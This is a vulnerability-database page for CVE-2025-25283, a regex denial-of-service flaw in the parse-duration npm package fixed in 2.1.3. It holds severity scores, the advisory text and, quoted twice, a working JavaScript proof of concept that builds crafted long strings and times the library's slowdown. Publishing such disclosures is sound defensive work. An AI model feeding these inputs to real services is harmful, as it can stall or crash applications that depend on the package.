Every CVESearch/Get API key

CVE-2025-25283

parse-duraton vulnerable to Regex Denial of Service that results in event loop delay and out of memory

7.5 HighFix available

parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.77%Up 0.7 points since Feb 13, 2025
90%50%10%1%

What each source reports

CVE List Score used7.5

parse-duraton vulnerable to Regex Denial of Service that results in event loop delay and out of memory

parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.

Record
CVE-2025-25283
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1333
Updated
2026-11-02
EUVDEUVD-2025-40987.5

parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.

Record
EUVD-2025-4098
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-hcrg-fc28-fcg57.5

parse-duration has a Regex Denial of Service that results in event loop delay and out of memory

Summary

This report finds 2 availability issues due to the regex used in the parse-duration npm package:

  1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.
  2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.

PoC

Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:

// Vulnerable regex to use from the library:
import parse from './index.js'

function generateStressTestString(length, decimalProbability) {
  let result = "";
  for (let i = 0; i < length; i++) {
    if (Math.random() < decimalProbability) {
      result += "....".repeat(99);
    }
    result += Math.floor(Math.random() * 10);
  }
  return result;
}

function getStringSizeInMB_UTF8(str) {
  const sizeInBytes = Buffer.byteLength(str, 'utf8');
  const sizeInMB = sizeInBytes / (1024 * 1024);
  return sizeInMB;
}


// Generate test strings with varying length and decimal probability:
const longString1 = generateStressTestString(380, 0.05);
const longString2 = generateStressTestString(10000, 0.9);
const longString3 = generateStressTestString(500000, 1);
const longStringVar1 = '-1e' + '-----'.repeat(915000)
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)

function testRegex(str) {
  const startTime = performance.now();
  // one of the regex's used in the library:
  // const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu;
  // const match = durationRE.test(str);
  // but we will use the exported library code directly:
  const match = parse(str);
  const endTime = performance.now();
  const timeTaken = endTime - startTime;
  return { timeTaken, match };
}

// Test the long strings:
let result = {}

{
  console.log(
    `\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`
  );
  result = testRegex(longString1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`
  );
  result = testRegex(longString2 + "....".repeat(100) + "5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}


{
  console.log(
    `\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`
  );
  result = testRegex(longString3 + '.'.repeat(10000) + " 5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar2);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

The results of this on the cloud machine that I ran this on are as follows:

@lirantal ➜ /workspaces/parse-duration (master) $ node redos.js 

Regex test on string of length 6320 (size: 0.01 MB):
   matched: 5997140778.000855, time taken: 0.9271340000000237ms

Regex test on string of length 3561724 (size: 3.40 MB):
   matched: 0.0006004999999999999, time taken: 728.7693149999999ms

Regex test on string of length 4575003 (size: 4.36 MB):
   matched: null, time taken: 43.713984999999866ms

Regex test on string…
Record
GHSA-hcrg-fc28-fcg5
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1333
Updated
2026-11-02
NVD7.5

parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.

Record
CVE-2025-25283
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1333
Updated
2026-11-02
OSV7.5

parse-duraton vulnerable to Regex Denial of Service that results in event loop delay and out of memory

parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.

Record
CVE-2025-25283
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1333
Updated
2026-11-02
OSVGHSA-hcrg-fc28-fcg57.5

parse-duration has a Regex Denial of Service that results in event loop delay and out of memory

Summary

This report finds 2 availability issues due to the regex used in the parse-duration npm package:

  1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.
  2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.

PoC

Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:

// Vulnerable regex to use from the library:
import parse from './index.js'

function generateStressTestString(length, decimalProbability) {
  let result = "";
  for (let i = 0; i < length; i++) {
    if (Math.random() < decimalProbability) {
      result += "....".repeat(99);
    }
    result += Math.floor(Math.random() * 10);
  }
  return result;
}

function getStringSizeInMB_UTF8(str) {
  const sizeInBytes = Buffer.byteLength(str, 'utf8');
  const sizeInMB = sizeInBytes / (1024 * 1024);
  return sizeInMB;
}


// Generate test strings with varying length and decimal probability:
const longString1 = generateStressTestString(380, 0.05);
const longString2 = generateStressTestString(10000, 0.9);
const longString3 = generateStressTestString(500000, 1);
const longStringVar1 = '-1e' + '-----'.repeat(915000)
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)

function testRegex(str) {
  const startTime = performance.now();
  // one of the regex's used in the library:
  // const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu;
  // const match = durationRE.test(str);
  // but we will use the exported library code directly:
  const match = parse(str);
  const endTime = performance.now();
  const timeTaken = endTime - startTime;
  return { timeTaken, match };
}

// Test the long strings:
let result = {}

{
  console.log(
    `\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`
  );
  result = testRegex(longString1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`
  );
  result = testRegex(longString2 + "....".repeat(100) + "5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}


{
  console.log(
    `\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`
  );
  result = testRegex(longString3 + '.'.repeat(10000) + " 5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar2);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

The results of this on the cloud machine that I ran this on are as follows:

@lirantal ➜ /workspaces/parse-duration (master) $ node redos.js 

Regex test on string of length 6320 (size: 0.01 MB):
   matched: 5997140778.000855, time taken: 0.9271340000000237ms

Regex test on string of length 3561724 (size: 3.40 MB):
   matched: 0.0006004999999999999, time taken: 728.7693149999999ms

Regex test on string of length 4575003 (size: 4.36 MB):
   matched: null, time taken: 43.713984999999866ms

Regex test on string…
Record
GHSA-hcrg-fc28-fcg5
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1333
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
parse-duration
npm
before 2.1.3
2.1.3

History

History
RecordedChangedSources
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-25283 is a high vulnerability (CVSS 7.5) in Jkroso Parse-duration, published February 12, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.77%, the 56th percentile. Fixed in parse-duration 2.1.3.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open